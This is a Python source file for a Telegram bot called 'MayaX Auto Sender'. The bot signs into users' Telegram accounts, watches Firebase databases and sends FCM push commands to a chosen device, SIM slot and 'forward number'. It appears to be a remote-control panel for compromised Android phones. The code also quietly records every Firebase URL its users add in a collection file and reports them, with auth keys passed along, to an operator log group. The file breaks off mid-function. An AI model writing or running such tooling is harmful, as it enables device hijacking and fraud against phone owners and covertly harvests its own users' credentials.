#!/usr/bin/env python3
"""
MayaX Auto Sender - multi-user SaaS-ready edition

What changed:
- One bot can serve many private users.
- Each user gets their own JSON workspace file.
- Telegram login happens inside the bot, not in terminal.
- Each authorized Telegram account gets its own session file.
"""

from __future__ import annotations

import asyncio
import json
import os
import re
import time
import uuid
from dataclasses import asdict, dataclass, field
from datetime import datetime, timedelta, timezone
from pathlib import Path
from types import SimpleNamespace
from typing import Any, Optional

import aiohttp
from pyrogram import Client
from pyrogram.errors import AuthKeyDuplicated, BadRequest, FloodWait, PeerIdInvalid, SessionPasswordNeeded, UserIsBlocked
from pyrogram.handlers import MessageHandler
from pyrogram.enums import ChatType
from pyrogram.raw.functions.messages import CheckChatInvite
from pyrogram.raw.types import ChatInviteAlready
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove


CONFIG_FILE = Path("bridge_config.json")
DATA_DIR = Path("data")
USERS_DIR = DATA_DIR / "users"
SESSIONS_DIR = DATA_DIR / "sessions_v2"
LEGACY_SESSION_BASE = Path("sam_bridge_v2")

COLLECTED_FB_FILE = DATA_DIR / "collected_firebases.json"

DEFAULT_FCM_URL = "https://mr-panel.pages.dev/api/fcm/send"
DEFAULT_POLL_INTERVAL = 0.45


try:
    from zoneinfo import ZoneInfo

    IST = ZoneInfo("Asia/Kolkata")
except Exception:
    IST = timezone(timedelta(hours=5, minutes=30))


# --- UI FORMATTING HELPERS ---
UI_SEP = "━━━━━━━━━━━━━━━"
UI_FOOTER = f"{UI_SEP}\n🛠 **Support:** @MayaXDev"

def fmt_msg(title: str, body: str, error: bool = False, success: bool = False) -> str:
    if error:
        icon = "⚠️"
    elif success:
        icon = "✅"
    else:
        icon = "⚙️"
        
    premium_emoji = "[✨](tg://emoji?id=5258500422393415126)"
    header = f"【 {premium_emoji} **{title.upper()}** {icon} 】"
    
    return f"{header}\n{UI_SEP}\n{body}\n{UI_FOOTER}"
# -----------------------------


MAIN_KB = [
    ["🔥 Setup Firebase"],
    ["📡 Select Group"],
    ["📞 Set Forward No."],
    ["🔐 FCM"],
    ["➕ Add FB", "➕ Add Group"],
    ["🗑 Del FB", "🗑 Del Group"],
    ["📊 Status", "🛑 Stop Session"],
]

FCM_KB = [
    ["➕ Add FCM", "📡 Select FCM"],
    ["🗑 Del FCM"],
    ["📡 Select Group"],
    ["📞 Set Forward No."],
    ["📊 Status", "🛑 Stop Session"],
    ["🔙 Back to Menu"],
]

BACK_KB = [["🔙 Back to Menu"]]
OTP_KB = [["🔁 Resend Code"], ["🔙 Back to Menu"]]
SIM_KB = [["0️⃣ SIM 1", "1️⃣ SIM 2"], ["🔙 Back to Menu"]]


def parse_sim_choice(text: str) -> Optional[str]:
    t = text.strip()
    if t in ("0", "0️⃣ SIM 1", "SIM 1", "sim 1", "Sim 1", "0️⃣") or t.lower() in ("sim1", "slot1"):
        return "0"
    if t in ("1", "1️⃣ SIM 2", "SIM 2", "sim 2", "Sim 2", "1️⃣") or t.lower() in ("sim2", "slot2"):
        return "1"
    return None



def ts() -> str:
    return datetime.now(IST).strftime("%H:%M:%S")


def log(msg: str) -> None:
    print(f"[{ts()}] {msg}", flush=True)


def atomic_write_json(path: Path, payload: dict[str, Any]) -> None:
    path.parent.mkdir(parents=True, exist_ok=True)
    tmp = path.with_name(f"{path.name}.{os.getpid()}_{uuid.uuid4().hex[:8]}.tmp")
    try:
        with open(tmp, "w", encoding="utf-8") as f:
            json.dump(payload, f, indent=2, ensure_ascii=False)
        os.replace(tmp, path)
    except Exception:
        if tmp.exists():
            try:
                tmp.unlink()
            except Exception:
                pass
        raise


def load_json(path: Path) -> dict[str, Any]:
    with open(path, "r", encoding="utf-8") as f:
        return json.load(f)


def normalize_phone(value: str) -> str:
    num = value.strip()
    num = re.sub(r"[^\d+]", "", num)
    if num.startswith("00"):
        num = "+" + num[2:]
    return num


def normalize_firebase_url(raw: str) -> str:
    url = str(raw or "").strip()
    url = re.sub(r"^https?://", "", url)
    url = url.split("?")[0].split("#")[0]
    url = url.split("/")[0]
    url = url.strip("/").strip()
    if not url:
        return ""
    if " " in url or "\n" in url or not re.match(r"^[a-zA-Z0-9.\-]+$", url):
        return ""
    if "firebasestorage.app" in url.lower():
        return ""
    if "." not in url:
        return ""
    return f"https://{url}"


def parse_int(value: Any, default: int = 0) -> int:
    try:
        return int(value)
    except Exception:
        return default


def normalize_peer_id_text(value: Any) -> str:
    raw = str(value).strip()
    if not raw:
        return raw
    if raw.startswith("-100"):
        return raw
    if re.fullmatch(r"\d{10,}", raw):
        return f"-100{raw}"
    return raw


def reply_kb(rows: list[list[str]]) -> ReplyKeyboardMarkup:
    return ReplyKeyboardMarkup(rows, resize_keyboard=True)


@dataclass
class Workspace:
    user_id: str
    state: Optional[str] = None
    page: int = 1

    phone: str = ""
    phone_code_hash: str = ""
    api_id: int = 0
    api_hash: str = ""
    session_base: str = ""

    active: bool = False
    active_mode: str = "fcm"
    device_id: str = ""
    sim: str = "0"
    group_id: str = ""
    firebase_url: str = ""
    active_fb_name: str = "Unknown"
    backup_firebase_name: str = ""
    backup_firebase_url: str = ""
    backup_firebase_auth: str = ""
    backup_device_id: str = ""
    backup_sim: str = "0"
    forward_to: str = ""
    last_processed_ts: int = 0
    activation_ts: int = 0
    sent: int = 0

    saved_firebases: dict[str, str] = field(default_factory=dict)
    saved_firebase_auths: dict[str, str] = field(default_factory=dict)
    firebase_auth: str = ""
    saved_groups: dict[str, str] = field(default_factory=dict)
    payload_template: str = ""
    fcm_url: str = DEFAULT_FCM_URL
    fcm_session_token: str = ""
    fcm_app_id: str = ""
    fcm_pin: str = ""
    saved_fcms: dict[str, dict[str, str]] = field(default_factory=dict)
    active_fcm_name: str = ""
    recent_fb_events: list[str] = field(default_factory=list)

    temp_name: str = ""
    temp_dev: str = ""
    temp_code: str = ""
    pinned_status_msg_id: int = 0

    created_at: str = field(default_factory=lambda: datetime.now(IST).isoformat())
    updated_at: str = field(default_factory=lambda: datetime.now(IST).isoformat())

    @property
    def path(self) -> Path:
        return USERS_DIR / f"{self.user_id}.json"

    @property
    def session_path(self) -> Path:
        if self.session_base:
            return Path(self.session_base)
        return SESSIONS_DIR / self.user_id

    @property
    def has_session(self) -> bool:
        return self.session_path.with_suffix(".session").exists()

    def touch(self) -> None:
        self.updated_at = datetime.now(IST).isoformat()

    def to_dict(self) -> dict[str, Any]:
        payload = asdict(self)
        payload["path"] = str(self.path)
        payload["session_path"] = str(self.session_path)
        return payload

    @classmethod
    def from_dict(cls, user_id: str, payload: dict[str, Any]) -> "Workspace":
        allowed = set(cls.__dataclass_fields__.keys())
        data = {k: v for k, v in dict(payload or {}).items() if k in allowed}
        data.pop("path", None)
        data.pop("session_path", None)
        data.setdefault("user_id", user_id)
        data["user_id"] = str(data["user_id"])
        data["api_id"] = parse_int(data.get("api_id", 0), 0)
        data["last_processed_ts"] = parse_int(data.get("last_processed_ts", 0), 0)
        data["activation_ts"] = parse_int(data.get("activation_ts", 0), 0)
        data["sent"] = parse_int(data.get("sent", 0), 0)
        data["page"] = parse_int(data.get("page", 1), 1)
        data.setdefault("saved_firebases", {})
        data.setdefault("saved_firebase_auths", {})
        data.setdefault("firebase_auth", "")
        data.setdefault("fcm_session_token", "")
        data.setdefault("fcm_app_id", "")
        data.setdefault("fcm_pin", "")
        data.setdefault("saved_fcms", {})
        data.setdefault("active_fcm_name", "")
        data.setdefault("saved_groups", {})
        data["group_id"] = normalize_peer_id_text(data.get("group_id", ""))
        data["saved_groups"] = {str(k): normalize_peer_id_text(v) for k, v in dict(data.get("saved_groups", {}) or {}).items()}
        data.setdefault("backup_firebase_name", "")
        data.setdefault("backup_firebase_url", "")
        data.setdefault("backup_firebase_auth", "")
        data.setdefault("backup_device_id", "")
        data.setdefault("backup_sim", "0")
        data.setdefault("recent_fb_events", [])
        return cls(**data)

    @classmethod
    def blank(cls, user_id: str, default_fcm_url: str = DEFAULT_FCM_URL) -> "Workspace":
        return cls(user_id=user_id, fcm_url=default_fcm_url)


class BridgeService:
    def __init__(self, global_cfg: dict[str, Any]):
        self.cfg = dict(global_cfg)
        self.api_id = parse_int(self.cfg.get("api_id", 0), 0)
        self.api_hash = str(self.cfg.get("api_hash", "")).strip()
        self.bot_token = str(self.cfg.get("bot_token") or self.cfg.get("token") or "").strip()
        self.default_fcm_url = str(self.cfg.get("fcm_url", DEFAULT_FCM_URL)).strip() or DEFAULT_FCM_URL
        self.default_poll_interval = float(self.cfg.get("poll_interval", DEFAULT_POLL_INTERVAL))
        self.legacy_owner_id = str(self.cfg.get("owner_id", "")).strip()
        raw_admins = self.cfg.get("admin_ids", [])
        if isinstance(raw_admins, list):
            self.admin_ids = {str(x).strip() for x in raw_admins if str(x).strip()}
        elif isinstance(raw_admins, str):
            self.admin_ids = {x.strip() for x in raw_admins.split(",") if x.strip()}
        else:
            self.admin_ids = set()
        if self.legacy_owner_id:
            self.admin_ids.add(self.legacy_owner_id)
        self.owner_phone = str(self.cfg.get("phone", "")).strip()
        self.logs_group_id = str(self.cfg.get("logs_group_id", "")).strip()

        self.bot = None
        self.bot_polling_task: Optional[asyncio.Task] = None

        self.http: Optional[aiohttp.ClientSession] = None
        self.workspaces: dict[str, Workspace] = {}
        self.auth_clients: dict[str, Client] = {}
        self.bridge_tasks: dict[str, asyncio.Task] = {}
        self.workspace_locks: dict[str, asyncio.Lock] = {}
        self.main_client: Optional[Client] = None
        self.main_client_ready = False
        self._bot_restarting = False
        self.watchdog_task: Optional[asyncio.Task] = None

    def is_admin(self, user_id: str | int) -> bool:
        uid = str(user_id).strip()
        return uid in self.admin_ids or uid == self.legacy_owner_id

    def lock_for(self, user_id: str) -> asyncio.Lock:
        lock = self.workspace_locks.get(user_id)
        if lock is None:
            lock = asyncio.Lock()
            self.workspace_locks[user_id] = lock
        return lock

    def workspace_path(self, user_id: str) -> Path:
        return USERS_DIR / f"{user_id}.json"

    def load_workspace(self, user_id: str) -> Workspace:
        user_id = str(user_id)
        if user_id in self.workspaces:
            return self.workspaces[user_id]

        path = self.workspace_path(user_id)
        if path.exists():
            ws = Workspace.from_dict(user_id, load_json(path))
        else:
            ws = self._create_workspace_from_legacy(user_id)
            self.save_workspace(ws)

        if not ws.session_base:
            ws.session_base = str(SESSIONS_DIR / user_id)
        if not ws.fcm_url:
            ws.fcm_url = self.default_fcm_url

        self.workspaces[user_id] = ws
        return ws

    def _create_workspace_from_legacy(self, user_id: str) -> Workspace:
        ws = Workspace.blank(user_id, self.default_fcm_url)
        if self.legacy_owner_id and user_id != self.legacy_owner_id:
            return ws

        legacy = self.cfg
        ws.phone = str(legacy.get("phone", "")).strip()
        ws.api_id = parse_int(legacy.get("api_id", 0), 0)
        ws.api_hash = str(legacy.get("api_hash", "")).strip()
        ws.session_base = str(LEGACY_SESSION_BASE)
        ws.active = bool(legacy.get("device_id", ""))
        ws.active_mode = str(legacy.get("active_mode", "fcm"))
        ws.device_id = str(legacy.get("device_id", "")).strip()
        ws.sim = str(legacy.get("sim", "0"))
        ws.group_id = normalize_peer_id_text(legacy.get("group_id", ""))
        ws.firebase_url = str(legacy.get("firebase_url", "")).strip()
        ws.active_fb_name = str(legacy.get("active_fb_name", "Unknown"))
        ws.saved_firebases = dict(legacy.get("saved_firebases", {}) or {})
        ws.saved_groups = {str(k): normalize_peer_id_text(v) for k, v in dict(legacy.get("saved_groups", {}) or {}).items()}
        ws.forward_to = str(legacy.get("forward_to", "")).strip()
        ws.last_processed_ts = parse_int(legacy.get("last_processed_ts", 0), 0)
        ws.activation_ts = parse_int(legacy.get("activation_ts", 0), 0)
        ws.fcm_url = str(legacy.get("fcm_url", self.default_fcm_url)).strip() or self.default_fcm_url
        ws.payload_template = str(legacy.get("payload_template", "")).strip()
        return ws

    def save_workspace(self, ws: Workspace) -> None:
        ws.touch()
        atomic_write_json(ws.path, ws.to_dict())
        self.workspaces[ws.user_id] = ws

    def _workspace_menu(self, ws: Workspace) -> ReplyKeyboardMarkup:
        rows = []
        if self.is_admin(ws.user_id):
            rows.append(["🔐 Login Main Account"])
        rows.extend(MAIN_KB)
        if self.is_admin(ws.user_id):
            badge = "🟢" if (ws.backup_device_id and ws.backup_firebase_url) else "🔴"
            rows.append([f"{badge} FB Backup"])
            rows.append(["👥 All Users"])
        return reply_kb(rows)

    def _workspace_fcm_menu(self, ws: Workspace) -> ReplyKeyboardMarkup:
        return reply_kb(FCM_KB)

    PAGE_SIZE = 60

    def _paginate_list(self, items: list[str], page: int, page_size: int = 60) -> tuple[list[str], int, int]:
        total_items = len(items)
        total_pages = max(1, (total_items + page_size - 1) // page_size)
        page = max(1, min(page, total_pages))
        start = (page - 1) * page_size
        end = start + page_size
        page_items = items[start:end]
        return page_items, page, total_pages

    def _build_paginated_keyboard(
        self,
        items: list[str],
        prefix: str,
        page: int,
        total_pages: int,
    ) -> ReplyKeyboardMarkup:
        rows = [[f"{prefix}{item}"] for item in items]
        if total_pages > 1:
            nav_row = []
            if page > 1:
                nav_row.append("⬅️ Prev")
            nav_row.append(f"📄 {page}/{total_pages}")
            if page < total_pages:
                nav_row.append("➡️ Next")
            rows.append(nav_row)
        rows.append(["🔙 Back to Menu"])
        return reply_kb(rows)

    async def send_paginated_list(
        self,
        ws: Workspace,
        title: str,
        subtitle: str,
        items: list[str],
        prefix: str,
        state: str,
    ) -> None:
        ws.state = state
        page_items, current_page, total_pages = self._paginate_list(items, ws.page, page_size=self.PAGE_SIZE)
        ws.page = current_page
        self.save_workspace(ws)
        kb = self._build_paginated_keyboard(page_items, prefix, current_page, total_pages)
        page_info = f"\n📄 **Page {current_page} of {total_pages}** ({len(items)} total)" if total_pages > 1 else ""
        await self.send(
            ws.user_id,
            fmt_msg(title, f"{subtitle}{page_info}", success=False),
            keyboard=kb,
        )

    def _is_menu_action(self, text: str) -> bool:
        menu_items = {
            "🔥 Setup Firebase", "/firebase",
            "📡 Select Group",
            "📞 Set Forward No.", "/forward",
            "🔐 FCM",
            "➕ Add FB", "➕ Add Group",
            "🗑 Del FB", "🗑 Del Group",
            "📊 Status", "/status",
            "🛑 Stop Session", "/stop",
            "➕ Add FCM", "📡 Select FCM", "🗑 Del FCM",
            "🔐 Login Main Account",
            "👥 All Users",
            "📝 Setup Backup", "🔄 Reconfigure", "🚫 Clear Backup",
        }
        if text in menu_items:
            return True
        if "FB Backup" in text:
            return True
        return False

    def _clean_keyboard_dict(self, obj: Any) -> Any:
        if isinstance(obj, dict):
            return {k: self._clean_keyboard_dict(v) for k, v in obj.items() if k != "_"}
        elif isinstance(obj, list):
            return [self._clean_keyboard_dict(item) for item in obj]
        return obj

    async def _send_http(self, target: str | int, text: str, keyboard: Optional[Any] = None) -> Optional[Any]:
        if not self.http or not self.bot_token:
            return None
        try:
            bot_url = f"https://api.telegram.org/bot{self.bot_token}/sendMessage"
            payload: dict[str, Any] = {
                "chat_id": target,
                "text": text,
                "parse_mode": "Markdown",
            }
            if keyboard is not None:
                try:
                    kb_data = json.loads(str(keyboard))
                    payload["reply_markup"] = self._clean_keyboard_dict(kb_data)
                except Exception:
                    pass
            async with self.http.post(bot_url, json=payload, timeout=aiohttp.ClientTimeout(total=8)) as resp:
                if resp.status == 200:
                    data = await resp.json()
                    msg_id = data.get("result", {}).get("message_id", 0)
                    return SimpleNamespace(id=msg_id)
                elif resp.status == 403:
                    log(f"User {target} has blocked the bot.")
                    return None
                else:
                    res_body = await resp.text()
                    log(f"HTTP Bot API send status {resp.status} to {target}: {res_body}")
        except Exception as http_err:
            log(f"HTTP Bot API send to {target} failed: {http_err}")
        return None

    async def _http_pin_message(self, chat_id: int | str, message_id: int) -> bool:
        if not self.http or not self.bot_token or not message_id:
            return False
        try:
            bot_url = f"https://api.telegram.org/bot{self.bot_token}/pinChatMessage"
            payload = {"chat_id": chat_id, "message_id": message_id, "disable_notification": True}
            async with self.http.post(bot_url, json=payload, timeout=aiohttp.ClientTimeout(total=5)) as resp:
                return resp.status == 200
        except Exception:
            return False

    async def _http_unpin_message(self, chat_id: int | str, message_id: Optional[int] = None) -> bool:
        if not self.http or not self.bot_token:
            return False
        try:
            bot_url = f"https://api.telegram.org/bot{self.bot_token}/unpinChatMessage"
            payload: dict[str, Any] = {"chat_id": chat_id}
            if message_id:
                payload["message_id"] = message_id
            async with self.http.post(bot_url, json=payload, timeout=aiohttp.ClientTimeout(total=5)) as resp:
                return resp.status == 200
        except Exception:
            return False

    async def send(self, chat_id: str | int, text: str, keyboard: Optional[Any] = None):
        target = int(chat_id) if str(chat_id).lstrip("-").isdigit() else chat_id
        return await self._send_http(target, text, keyboard)

    async def _bot_http_polling_loop(self) -> None:
        log("[bot poller] Starting Telegram HTTP Bot API long-polling loop...")
        offset = -1
        first_call = True

        while True:
            try:
                if not self.http or not self.bot_token:
                    await asyncio.sleep(2)
                    continue

                url = f"https://api.telegram.org/bot{self.bot_token}/getUpdates"
                params: dict[str, Any] = {
                    "offset": offset,
                    "timeout": 20,
                    "allowed_updates": json.dumps(["message"]),
                }

                async with self.http.get(url, params=params, timeout=aiohttp.ClientTimeout(total=30)) as resp:
                    if resp.status == 200:
                        data = await resp.json()
                        updates = data.get("result", [])

                        if first_call:
                            if updates:
                                highest_id = max(u.get("update_id", 0) for u in updates)
                                offset = highest_id + 1
                                log(f"[bot poller] Cleared {len(updates)} stale pending updates. Starting fresh at offset {offset}")
                            else:
                                offset = 0
                            first_call = False
                            continue

                        for u in updates:
                            u_id = u.get("update_id", 0)
                            if u_id >= offset:
                                offset = u_id + 1

                            raw_msg = u.get("message")
                            if not raw_msg:
                                continue

                            chat_info = raw_msg.get("chat", {})
                            c_type = chat_info.get("type", "")
                            from_info = raw_msg.get("from", {})
                            if not from_info or from_info.get("is_bot"):
                                continue

                            msg = SimpleNamespace(
                                id=raw_msg.get("message_id"),
                                text=(raw_msg.get("text", "") or raw_msg.get("caption", "")).strip(),
                                chat=SimpleNamespace(
                                    id=chat_info.get("id"),
                                    type=ChatType.PRIVATE if c_type == "private" else (ChatType.CHANNEL if c_type == "channel" else ChatType.SUPERGROUP),
                                ),
                                from_user=SimpleNamespace(
                                    id=from_info.get("id"),
                                    is_bot=from_info.get("is_bot", False),
                                    first_name=from_info.get("first_name", ""),
                                    username=from_info.get("username", ""),
                                ),
                            )
                            asyncio.create_task(self._handle_bot_message(None, msg))

                    elif resp.status in (409, 429):
                        log(f"[bot poller] Telegram API status {resp.status}. Backing off 5s...")
                        await asyncio.sleep(5)
                    else:
                        await asyncio.sleep(2)

            except asyncio.CancelledError:
                break
            except Exception as exc:
                await asyncio.sleep(2)

    async def _watchdog_loop(self) -> None:
        while True:
            try:
                await asyncio.sleep(20)
                # 1. Check bot poller task
                if hasattr(self, "bot_polling_task") and self.bot_polling_task:
                    if self.bot_polling_task.done():
                        log("[watchdog] Bot polling task was stopped! Restarting...")
                        self.bot_polling_task = asyncio.create_task(self._bot_http_polling_loop())

                # 2. Check main client
                if self.main_client_ready and self.main_client is not None:
                    if not getattr(self.main_client, "is_connected", False):
                        log("[watchdog] Main client is disconnected! Attempting reconnect...")
                        try:
                            await asyncio.wait_for(self.main_client.connect(), timeout=10.0)
                            log("[watchdog] Main client reconnected successfully!")
                        except Exception as e:
                            log(f"[watchdog] Main client reconnect failed: {e}")
            except asyncio.CancelledError:
                break
            except Exception as exc:
                log(f"[watchdog] Loop error: {exc}")

    async def send_menu(self, ws: Workspace, text: str = "👋 Menu:") -> None:
        await self.send(ws.user_id, text, keyboard=self._workspace_menu(ws))

    async def log_private(self, user_id: str, text: str) -> None:
        try:
            await self.send(user_id, f"📝 **LOG:** {text}")
        except Exception as exc:
            log(f"[private log {user_id}] {exc}")

    async def _close_auth_client(self, user_id: str) -> None:
        client = self.auth_clients.pop(user_id, None)
        if client:
            try:
                await client.disconnect()
            except Exception:
                pass

    def _build_main_client(self) -> Client:
        return Client(
            str(LEGACY_SESSION_BASE),
            api_id=self.api_id,
            api_hash=self.api_hash,
            phone_number=self.owner_phone or None,
            sleep_threshold=10,
        )

    def _quarantine_main_session_files(self) -> None:
        for suffix in (".session", ".session-journal", ".session-wal", ".session-shm"):
            path = LEGACY_SESSION_BASE.with_suffix(suffix)
            if path.exists():
                backup = path.with_name(f"{path.stem}.dupfix{suffix}")
                try:
                    if backup.exists():
                        backup.unlink()
                    path.replace(backup)
                    log(f"Quarantined session file: {path.name} -> {backup.name}")
                except Exception as exc:
                    log(f"Could not quarantine {path.name}: {exc}")

    async def start(self) -> None:
        if not self.api_id or not self.api_hash or not self.bot_token:
            raise RuntimeError("bridge_config.json must contain api_id, api_hash, and bot_token/token.")

        DATA_DIR.mkdir(parents=True, exist_ok=True)
        USERS_DIR.mkdir(parents=True, exist_ok=True)
        SESSIONS_DIR.mkdir(parents=True, exist_ok=True)

        # High-performance TCP connector with DNS caching & warm keepalive
        connector = aiohttp.TCPConnector(
            limit=5000,
            use_dns_cache=True,
            ttl_dns_cache=600,
            keepalive_timeout=90,
            enable_cleanup_closed=True,
        )
        self.http = aiohttp.ClientSession(connector=connector)
        self._migrate_legacy_workspace_if_needed()
        self._migrate_fcm_urls()
        self._sync_old_fcm_creds()

        self.bot_polling_task = asyncio.create_task(self._bot_http_polling_loop())
        log("Bot HTTP polling loop started.")

        self.main_client = self._build_main_client()
        session_file = LEGACY_SESSION_BASE.with_suffix(".session")
        
        if session_file.exists():
            try:
                await self.main_client.connect()
                auth_status = await self.main_client.get_me()
                if auth_status:
                    await self.main_client.disconnect()
                    await self.main_client.start()
                    self.main_client_ready = True
                    self.main_client.add_handler(MessageHandler(self._on_main_message))
                    async for _ in self.main_client.get_dialogs():
                        pass
                else:
                    await self.main_client.disconnect()
                    log("Main session is not authorized. Please login via bot.")
                    self.main_client_ready = False
            except AuthKeyDuplicated as exc:
                log(f"Main session duplicated: {exc}. Retrying with a fresh session file.")
                self._quarantine_main_session_files()
                self.main_client_ready = False
            except Exception as exc:
                log(f"Main Telegram session could not start: {exc}. Please login via bot.")
                self.main_client_ready = False
        else:
            log("Main session not found. Please login via the Telegram bot menu (Login Main Account).")
            self.main_client_ready = False

        log("Bot service started.")
        self.watchdog_task = asyncio.create_task(self._watchdog_loop())

        for path in USERS_DIR.glob("*.json"):
            if path.is_file():
                uid = path.stem
                if uid not in self.workspaces:
                    self.load_workspace(uid)

        self._seed_existing_firebases()

        active_workspaces = [ws for ws in self.workspaces.values() if ws.active and ws.device_id]
        log(f"Restoring bridge runtimes for {len(active_workspaces)} active user(s)...")
        pin_delay = 0.5
        for ws in active_workspaces:
            try:
                await self.ensure_bridge_runtime(ws, defer_pin=True)
                asyncio.create_task(self._delayed_auto_pin(ws, delay=pin_delay))
                pin_delay += 0.5
            except Exception as exc:
                log(f"Failed to restore bridge runtime for user {ws.user_id}: {exc}")

        log("Ready for multi-user menu flow.")
        await asyncio.Event().wait()

    def _migrate_legacy_workspace_if_needed(self) -> None:
        if not self.legacy_owner_id:
            return

        legacy_path = self.workspace_path(self.legacy_owner_id)
        if legacy_path.exists():
            return

        legacy_data_present = any(
            [
                self.cfg.get("device_id"),
                self.cfg.get("saved_firebases"),
                self.cfg.get("saved_groups"),
                self.cfg.get("forward_to"),
            ]
        )
        if not legacy_data_present:
            return

        ws = self._create_workspace_from_legacy(self.legacy_owner_id)
        self.save_workspace(ws)
        log(f"Migrated legacy config into workspace for user {self.legacy_owner_id}.")

    def _migrate_fcm_urls(self) -> None:
        updated = 0
        for path in USERS_DIR.glob("*.json"):
            try:
                data = load_json(path)
                changed = False
                current_url = str(data.get("fcm_url", "")).strip()
                if current_url and current_url != DEFAULT_FCM_URL:
                    data["fcm_url"] = DEFAULT_FCM_URL
                    changed = True
                if changed:
                    atomic_write_json(path, data)
                    updated += 1
            except Exception as exc:
                log(f"[fcm migrate] Error updating {path.name}: {exc}")
        if updated:
            log(f"[fcm migrate] Updated fcm_url in {updated} user config(s) to {DEFAULT_FCM_URL}")

    def _sync_old_fcm_creds(self) -> None:
        synced = 0
        for path in USERS_DIR.glob("*.json"):
            try:
                data = load_json(path)
                saved = data.get("saved_fcms", {})
                old_app = str(data.get("fcm_app_id", "")).strip()
                old_pin = str(data.get("fcm_pin", "")).strip()
                old_token = str(data.get("fcm_session_token", "")).strip()
                if old_app and old_pin and not saved:
                    name = "Default"
                    data["saved_fcms"] = {
                        name: {"app_id": old_app, "pin": old_pin, "token": old_token}
                    }
                    data.setdefault("active_fcm_name", name)
                    atomic_write_json(path, data)
                    synced += 1
                    log(f"[fcm sync] Migrated old FCM creds to saved_fcms for {path.name}")
            except Exception as exc:
                log(f"[fcm sync] Error syncing {path.name}: {exc}")
        if synced:
            log(f"[fcm sync] Synced old FCM credentials for {synced} user(s)")

    async def shutdown(self) -> None:
        if self.watchdog_task:
            self.watchdog_task.cancel()

        for task in list(self.bridge_tasks.values()):
            task.cancel()

        self.bridge_tasks.clear()

        if self.http:
            await self.http.close()

        if self.main_client_ready and self.main_client:
            try:
                await self.main_client.stop()
            except Exception:
                pass

        if hasattr(self, "bot_polling_task") and self.bot_polling_task:
            self.bot_polling_task.cancel()

    async def _deactivate_duplicate_groups(self, ws: Workspace) -> None:
        # Multiple users can actively monitor the same group without deactivating each other.
        return

    async def _delayed_auto_pin(self, ws: Workspace, delay: float = 0.0) -> None:
        if delay > 0:
            await asyncio.sleep(delay)
        try:
            await self._auto_pin_status(ws)
        except Exception as exc:
            log(f"[pin] deferred pin failed for {ws.user_id}: {exc}")

    async def ensure_bridge_runtime(self, ws: Workspace, defer_pin: bool = False) -> None:
        if not ws.active or not ws.device_id:
            return

        await self._deactivate_duplicate_groups(ws)

        user_id = ws.user_id
        if not self.main_client_ready:
            await self.send(ws.user_id, fmt_msg("Session Not Ready", "Main Telegram session is not ready yet. Please wait.", error=True), keyboard=self._workspace_menu(ws))
            return

        task: Optional[asyncio.Task] = None

        if ws.active_mode in ("firebase", "fcm") and ws.forward_to:
            existing = self.bridge_tasks.get(user_id)
            if existing and not existing.done():
                return
            task = asyncio.create_task(self._watch_firebase(user_id))
            self.bridge_tasks[user_id] = task

        log(f"Bridge started for user {user_id} ({ws.active_mode}).")
        if not defer_pin:
            await self._auto_pin_status(ws)

    async def refresh_bridge_runtime(self, ws: Workspace) -> None:
        user_id = ws.user_id
        if not ws.active or not ws.device_id:
            await self.stop_bridge_runtime(user_id, keep_state=True)
            return

        await self._deactivate_duplicate_groups(ws)

        task = self.bridge_tasks.pop(user_id, None)
        if task:
            task.cancel()

        if ws.active_mode in ("firebase", "fcm") and ws.forward_to:
            self.bridge_tasks[user_id] = asyncio.create_task(self._watch_firebase(user_id))

    async def stop_bridge_runtime(self, user_id: str, keep_state: bool = True) -> None:
        task = self.bridge_tasks.pop(user_id, None)
        if task:
            task.cancel()
        ws = self.load_workspace(user_id)
        if ws and ws.pinned_status_msg_id:
            pinned_id = ws.pinned_status_msg_id
            try:
                await self._http_unpin_message(int(user_id), pinned_id)
                log(f"[stop] unpinned msg {pinned_id} for {user_id}")
            except Exception as e:
                log(f"[stop] unpin failed: {e}")
            ws.pinned_status_msg_id = 0
            self.save_workspace(ws)

    async def _auto_pin_status(self, ws: Workspace) -> None:
        info = []
        info.append("🟢 **BRIDGE ACTIVE**" if ws.active else "🔴 **BRIDGE INACTIVE**")
        info.append(f"📱 **Mode:** {ws.active_mode.upper()}")
        if ws.active_mode == "firebase" and ws.firebase_auth:
            info.append(f"🔐 **Auth:** `Set`")
        if ws.device_id:
            info.append(f"📱 **Device:** `{ws.device_id}`")
        if ws.group_id:
            gname = next((n for n, i in ws.saved_groups.items() if str(i) == str(ws.group_id)), None)
            if gname:
                info.append(f"📡 **Group:** {gname} (`{ws.group_id}`)")
            else:
                info.append(f"📡 **Group:** `{ws.group_id}`")
        if ws.forward_to:
            info.append(f"📞 **Forward:** `{ws.forward_to}`")
        info.append(f"📊 **Sent:** {ws.sent}")
        info.append(f"🤖 **TG:** {'✅ Ready' if self.main_client_ready else '❌ Not ready'}")
        msg = await self.send(ws.user_id, "\n".join(info), keyboard=self._workspace_menu(ws))
        if msg:
            msg_id = getattr(msg, "id", None)
            if ws.pinned_status_msg_id:
                old_id = ws.pinned_status_msg_id
                try:
                    await self._http_unpin_message(int(ws.user_id), old_id)
                except Exception as e:
                    log(f"[pin] unpin old failed: {e}")

            if msg_id:
                try:
                    if await self._http_pin_message(int(ws.user_id), msg_id):
                        ws.pinned_status_msg_id = msg_id
                        self.save_workspace(ws)
                        log(f"[pin] status pinned for {ws.user_id}")
                except Exception as e:
                    log(f"[pin] pin failed: {e}")

    def _load_collected_firebases(self) -> dict[str, Any]:
        if COLLECTED_FB_FILE.exists():
            return load_json(COLLECTED_FB_FILE)
        return {}

    def _save_collected_firebases(self, data: dict[str, Any]) -> None:
        atomic_write_json(COLLECTED_FB_FILE, data)

    def _seed_existing_firebases(self) -> None:
        collected = self._load_collected_firebases()
        changed = False
        for ws in self.workspaces.values():
            for name, url in ws.saved_firebases.items():
                url = url if url.startswith("http") else f"https://{url}"
                if url not in collected:
                    collected[url] = {
                        "source": f"workspace:{ws.user_id}:{name}",
                        "first_seen": datetime.now(IST).isoformat(),
                    }
                    changed = True
        if changed:
            self._save_collected_firebases(collected)
            log(f"[fb collect] seeded {len(collected)} existing Firebases.")

    async def _check_new_firebase(self, url: str, auth_key: str, shared_by: str) -> None:
        try:
            log(f"[fb collect] Starting check for Firebase URL: '{url}' from user: {shared_by}")
            if not self.logs_group_id:
                log("[fb collect] Warning: logs_group_id is not set in config. Cannot send notification.")
                return
            f_url = url if url.startswith("http") else f"https://{url}"
            collected = self._load_collected_firebases()
            
            if f_url in collected:
                log(f"[fb collect] Firebase URL '{f_url}' already reported. Skipping duplicate log group notification.")
                return
                
